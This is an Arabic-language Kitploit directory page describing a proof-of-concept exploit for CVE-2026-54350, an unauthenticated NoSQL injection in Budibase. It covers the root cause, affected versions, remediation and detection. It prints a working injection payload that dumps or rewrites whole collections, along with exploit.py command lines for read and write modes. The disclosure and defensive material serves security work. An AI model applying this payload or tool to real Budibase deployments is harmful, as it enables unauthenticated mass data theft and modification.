Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-54350-Budibase-NoSQL-Injection — PoC لـ CVE-2026-54350 — حقن مُشغِّل NoSQL غير مصادق عليه في Budibase (CVSS 10.0). اقرأ/اكتب بشكل جماعي أي مجموعة مستندات عبر استعلام عام. | Kitploit
أدوات/GitHubGitHub/biitts/cve-2026-54350-budibase-nosql-injection
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولاتأمن قواعد البيانات
GitHubbiitts/cve-2026-54350-budibase-nosql-injection

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-54350-Budibase-NoSQL-Injection

PoC لـ CVE-2026-54350 — حقن مُشغِّل NoSQL غير مصادق عليه في Budibase (CVSS 10.0). اقرأ/اكتب بشكل جماعي أي مجموعة مستندات عبر استعلام عام.

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

CVE-2026-54350 — حقن مشغِّلات NoSQL غير مصادق عليه في Budibase

حقن مشغِّلات JSON/NoSQL غير مصادق عليه في Budibase. يمكن لأي زائر مجهول لتطبيق Budibase منشور يعرض استعلامًا عامًا يستند إلى مصدر بيانات مستندي (MongoDB، CouchDB، Elasticsearch، DynamoDB-PartiQL، أو REST مع نص JSON) أن يقرأ كل مستند في المجموعة الأساسية، وإذا وُجد استعلام كتابة عام، يعدّل كل مستند — بطلب HTTP واحد غير مصادق عليه.

CVECVE-2026-54350
الإشعارGHSA-8qv3-p479-cj62
CVSS 3.110.0 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CWECWE-943 (تحييد غير صحيح للعناصر الخاصة في استعلام بيانات)، CWE-89
المصادقةلا شيء (غير مصادق عليه)
المتأثرBudibase <= 3.39.0 (نطاق إصدار البائع المذكور في الإشعار)
المُصلَح3.39.12 وفقًا لـ NVD؛ تم تحييد علامات الاقتباس المحقونة بالفعل من الإصدار 3.39.1، والإصلاح الصريح (processJsonStringSync) يظهر في الإصدار 3.39.9
الحكممؤكد — تم إعادة إنتاجه بالكامل على الإصدار 3.39.0

السبب الجذري

عند تنفيذ استعلام، يثري Budibase معاملات المستخدم في نص JSON الخام للاستعلام باستخدام Handlebars، ثم يقوم بتحليل النتيجة باستخدام JSON.parse:

root@kitploit:~
enrichContext()   packages/server/src/sdk/workspace/queries/queries.ts
  enrichedQuery.json = processStringSync('{"name":"{{ name }}"}', { name: <user> }, { noEscaping: true })
  enrichedQuery.json = JSON.parse(enrichedQuery.json)

في الإصدارات المتأثرة، يتم إقحام المعامل بدون تهريب JSON، لذا فإن القيمة التي تحتوي على " تغلق السلسلة النصية المقصودة وتحقق حقن مفاتيح شقيقة في الكائن المحلل. عامل التصفية الوحيد للإدخال، validateQueryInputs() (api/controllers/query/index.ts)، يرفض فقط علامات Handlebars ({{، }}) — ولا يمس "، \، } أو $.

بالنسبة لعملية find في MongoDB، يتم تمرير الكائن المحلل مباشرة إلى collection.find() (integrations/mongodb.ts). مفتاح name مكرر تكون قيمته كائن مشغِّل يربح دمج JSON.parse، محوِّلاً مساواة سلسلة نصية إلى {$exists: true} ويعيد المجموعة بأكملها. نفس الأسلوب مع استعلام updateMany يوسع عامل التصفية ليشمل كل مستند.

يتم تجاوز التحكم في الوصول لأن authorized() (middleware/authorized.ts:141) تقوم بالتقصير مع return next() عندما يكون دور الوصول للاستعلام هو PUBLIC، متجاوزةً مصادقة الجلسة و CSRF. رأس x-budibase-app-id اللازم للوصول إلى الاستعلام هو عام — وهو جزء من كل عنوان URL لتطبيق منشور.

راجع ANALYSIS.md للاطلاع على الشرح الكامل على مستوى الكود والتحقيق في حدود الإصدار.

الحمولة

قالب نص الاستعلام (كما هو مكوّن في المنشئ):

root@kitploit:~
{"name":"{{ name }}"}

القيمة المحقونة لمعامل name:

root@kitploit:~
zzz","name":{"$exists":true},"$comment":"cve-2026-54350

بعد الإقحام و JSON.parse (دمج المفتاح المكرر، آخر واحد يفوز):

root@kitploit:~
{ "name": { "$exists": true }, "$comment": "cve-2026-54350" }

$comment هو مشغِّل MongoDB وصفي خامل يمتص علامة الاقتباس الختامية "} من القالب ليظل النص الكامل JSON صالحًا.

الاستغلال

exploit.py — مكتبة Python 3 القياسية فقط، بدون تبعيات.

root@kitploit:~
# تفريغ المجموعة بأكملها عبر استعلام قراءة (find) عام
python3 exploit.py --url http://target --app-id app_<published> \
    --query-id query_<...> --mode read

# تعديل كل مستند عبر استعلام updateMany عام
python3 exploit.py --url http://target --app-id app_<published> \
    --query-id query_<...> --mode write

--app-id و --query-id هما قيمتان عامتان يمكن ملاحظتهما في حركة مرور API الخاصة بالتطبيق المنشور نفسه. --field يغير مفتاح JSON الذي يرتبط به المعامل (الافتراضي هو --param).

إعادة الإنتاج

يتطلب Docker. يستخدم هذا المختبر --network host (لا يُفترض وجود شبكة جسر) و mongo:4.4 (المضيف لا يحتوي على AVX؛ يتطلب MongoDB 5.0+ ذلك).

root@kitploit:~
bash lab/setup.sh
# يطبع PROD_APP_ID / READ_QUERY / UPDATE_QUERY، ثم:
python3 exploit.py --url http://127.0.0.1 --app-id <PROD_APP_ID> \
    --query-id <READ_QUERY> --mode read

lab/provision.py يقود فقط واجهات برمجة التطبيقات المشروعة للمنشئ — لا يُضعف أي إعداد افتراضي. تعيين دور الوصول للاستعلام على PUBLIC هو ميزة منشئ من الدرجة الأولى (تطبيقات منشورة تكشف البيانات عبر هذه الآلية بالضبط). تشغيل كامل مُلتقط في EVIDENCE.txt.

ملاحظة حول الإصدار المتأثر

يسرد NVD النطاق المتأثر كـ < 3.39.12. تجريبيًا، فإن ناقل الاقتباس العاري يمكن استغلاله فقط على <= 3.39.0، وهو بالضبط النطاق الذي يذكره إشعار GHSA الخاص بالبائع. من الإصدار 3.39.1، تقوم طبقة القوالب بالفعل بتهريب علامات الاقتباس المحقونة (تم التحقق: نفس الطلب على الإصدار 3.39.8 يتم تحييده)، ويقدم الإصدار 3.39.9 الإصلاح الصريح processJsonStringSync. لذلك يستهدف هذا الإثبات العملي الإصدار 3.39.0، وهو أحدث إصدار ضمن النطاق المتأثر للبائع.

التأثير

  • السرية: قراءة جماعية غير مصادق عليها لكل مستند في المجموعة المكشوفة، بما في ذلك أي حقول حساسة.
  • التكامل: تعديل جماعي غير مصادق عليه لكل مستند عند وجود استعلام كتابة (تحديث) عام.
  • طلب واحد، بدون جلسة، بدون رمز CSRF، قادر على عبور المصادر.

المعالجة

  • الترقية إلى إصدار مصلح من Budibase (>= 3.39.12، أو على الأقل >= 3.39.9 حيث يقوم processJsonStringSync بتهريب JSON للمعاملات المُقحَمة).
  • تدقيق التطبيقات المنشورة للبحث عن استعلامات دور الوصول فيها PUBLIC؛ قصرها على الأدوار المصادق عليها حيثما أمكن.
  • بالنسبة لمصادر البيانات المستندية، يُفضل استخدام الاستعلامات ذات المعاملات على النصوص JSON ذات القوالب النصية.

الكشف

ابحث عن طلبات POST /api/v2/queries/<id>، من جلسات غير مصادق عليها، تحتوي قيم parameters فيها على " متبوعة بمشغِّل MongoDB مسبوق بـ $ ($exists، $ne، $gt، $where، $regex، ...) أو مفتاح JSON مكرر. في MongoDB، فعِّل التنميط ونبه عندما يصل معامل استعلام عادةً ما يكون سلسلة نصية ككائن.

الإسناد

البحث والإثبات العملي بواسطة Caio Fabrício (@BiiTts).

تنزيل الأداة